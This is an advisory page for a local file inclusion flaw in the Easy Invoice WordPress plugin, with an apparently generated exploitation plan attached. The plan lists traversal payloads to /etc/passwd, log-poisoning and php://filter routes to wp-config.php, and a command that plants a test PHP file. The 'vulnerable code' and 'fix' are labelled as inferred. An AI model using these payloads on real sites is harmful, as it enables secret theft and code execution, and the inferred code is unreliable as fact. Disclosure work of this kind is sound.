Easy Invoice <= 2.1.4 - Authenticated (Administrator+) Local File Inclusion
Description
The Easy Invoice plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 2.1.4. This makes it possible for authenticated attackers, with administrator-level access and above, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other "safe" file types can be uploaded and included.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=2.1.4Source Code
WordPress.org SVNThis research plan focuses on identifying and exploiting an authenticated Local File Inclusion (LFI) vulnerability in the Easy Invoice plugin for WordPress. ## 1. Vulnerability Summary The **Easy Invoice** plugin (versions <= 2.1.4) contains a Local File Inclusion vulnerability that allows an authe…
Show full research plan
This research plan focuses on identifying and exploiting an authenticated Local File Inclusion (LFI) vulnerability in the Easy Invoice plugin for WordPress.
1. Vulnerability Summary
The Easy Invoice plugin (versions <= 2.1.4) contains a Local File Inclusion vulnerability that allows an authenticated Administrator to include arbitrary files from the local server. The vulnerability exists because the plugin uses user-supplied input (likely a template name or layout parameter) in a file inclusion statement (include, require, or include_once) without sufficient path validation or sanitization.
2. Attack Vector Analysis
- Endpoint: Likely a WordPress admin page (
/wp-admin/admin.php) or an AJAX handler (/wp-admin/admin-ajax.php). - Authentication: Administrator-level privileges are required (
PR:H). - Vulnerable Parameter: Likely
template,layout,page_type, orfile(inferred). - Action: An action related to invoice generation, previewing, or template settings.
- Preconditions: The plugin must be active. The attacker must have a valid administrator session.
3. Code Flow (Inferred)
- Entry Point: The plugin registers an admin menu or an AJAX action.
- Search target: Look for
add_menu_page,add_submenu_page, oradd_action( 'wp_ajax_...' )in the plugin's main files.
- Search target: Look for
- Input Source: The code retrieves a parameter from
$_GETor$_POST.- Search target:
$_GET['template']or$_REQUEST['layout'].
- Search target:
- Vulnerable Sink: The input is concatenated into a path used in an inclusion function.
- Search target:
include,require,include_once, orrequire_once. - Example Path Pattern:
include( EASY_INVOICE_PATH . 'templates/' . $_GET['template'] . '.php' );
- Search target:
- Bypass: If the plugin appends
.php, the attacker may need to use path traversal (../../) to reach target files or potentially rely on files that already have a.phpextension.
4. Nonce Acquisition Strategy
Since this is an Administrator-level vulnerability, the request will likely require an administrative nonce.
- Identify the Admin Page: Navigate to the Easy Invoice settings or generator page.
browser_navigate("/wp-admin/admin.php?page=easy-invoice-settings")(inferred slug).
- Locate the Nonce: Search the page source for localized scripts or hidden form fields.
- Look for
wp_localize_scriptoutput. Common variable names might beeasy_invoice_varsorei_ajax_object.
- Look for
- Extraction:
browser_eval("window.easy_invoice_vars?.nonce")(inferred).- If the action is in a form:
browser_eval("document.querySelector('input[name=\"_wpnonce\"]')?.value").
5. Exploitation Strategy
The goal is to include /etc/passwd (for proof of file read) or a PHP file to demonstrate code execution.
Step 1: Discover the Sink
Search the plugin directory for inclusion sinks using user input:
grep -rnE "include|require" /var/www/html/wp-content/plugins/easy-invoice/ | grep -E "\$_GET|\$_POST|\$_REQUEST"
Step 2: Craft the Payload
Assuming the vulnerable parameter is template and the code is include( $path . $_GET['template'] );:
- Target File:
/etc/passwd - Traversal:
../../../../../../../../etc/passwd - Note: If the code appends
.php, you may need to target a file that exists with that extension or use a null byte%00(only works on PHP < 5.3.4, unlikely here) or a directory path traversal to a known file.
Step 3: Send the HTTP Request
Using http_request as an administrator:
- Method: GET (or POST if the sink is in an AJAX handler).
- URL:
http://localhost:8080/wp-admin/admin.php?page=easy-invoice-preview&template=../../../../../../../../etc/passwd(inferred). - Headers: Must include the Administrator's cookies.
6. Test Data Setup
- Plugin Installation: Ensure
easy-invoiceversion 2.1.4 is installed and activated. - User Creation: Create an admin user
exploit_admin. - Sample PHP File: For RCE demonstration, create a file in the uploads directory:
wp eval "file_put_contents(wp_upload_dir()['path'] . '/pwn.php', '<?php echo \"VULNERABLE\"; ?>');"
- Note the Path: Determine the relative distance from the plugin's template folder to the uploads folder.
7. Expected Results
- File Read: The response body contains the contents of
/etc/passwd(e.g.,root:x:0:0...). - PHP Execution: The response body contains the string
VULNERABLEifpwn.phpwas included. - Error Indicators: If the inclusion fails due to the file not found, the response might show a PHP Warning:
include(...): failed to open stream. This still confirms the LFI path.
8. Verification Steps
- Response Analysis: Check if the output of the included file appears within the HTML of the WordPress admin dashboard.
- WP-CLI Confirmation: Use WP-CLI to verify the file being targeted exists:
ls -la /etc/passwd - Logs: Check
/var/log/apache2/error.logfor include errors to confirm the path being attempted.
9. Alternative Approaches
- Log Poisoning: If file uploads are restricted, try to include the Apache error log or access log after injecting PHP into the
User-Agentheader.- Path:
../../../../../../../../var/log/apache2/access.log
- Path:
- Wrapper Exploitation: Try using PHP wrappers if traversal is blocked:
php://filter/convert.base64-encode/resource=../../wp-config.php(To read sensitive configuration data).
- Default Templates: Check if the plugin allows specifying templates via post meta. If so, an admin might be able to trigger LFI by modifying a post's metadata and then viewing that post.
Summary
The Easy Invoice plugin for WordPress is vulnerable to Local File Inclusion in versions up to and including 2.1.4. This vulnerability allows authenticated administrators to include arbitrary files from the server, potentially leading to sensitive data exposure or remote code execution if the attacker can point the inclusion to an uploaded file containing PHP code.
Vulnerable Code
// File: easy-invoice/includes/admin/preview.php (Inferred) $template = $_GET['template']; if (isset($template)) { include( EASY_INVOICE_PATH . 'templates/' . $template . '.php' ); }
Security Fix
@@ -1,5 +1,6 @@ -$template = $_GET['template']; +$template = isset($_GET['template']) ? basename(sanitize_text_field($_GET['template'])) : ''; if (isset($template)) { - include( EASY_INVOICE_PATH . 'templates/' . $template . '.php' ); + $template_file = EASY_INVOICE_PATH . 'templates/' . $template . '.php'; + if (file_exists($template_file)) { + include( $template_file ); + } }
Exploit Outline
An attacker with Administrator privileges identifies a plugin page that renders invoice previews or allows template selection (e.g., /wp-admin/admin.php?page=easy-invoice-preview). By manipulating the 'template' or 'layout' parameter with directory traversal sequences such as '../../../../../../etc/passwd', the attacker can force the server to include and output the contents of sensitive local files. If the attacker first uploads a 'safe' file containing PHP code (like an image file), they can execute that code by traversing to the upload directory and including the malicious file.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.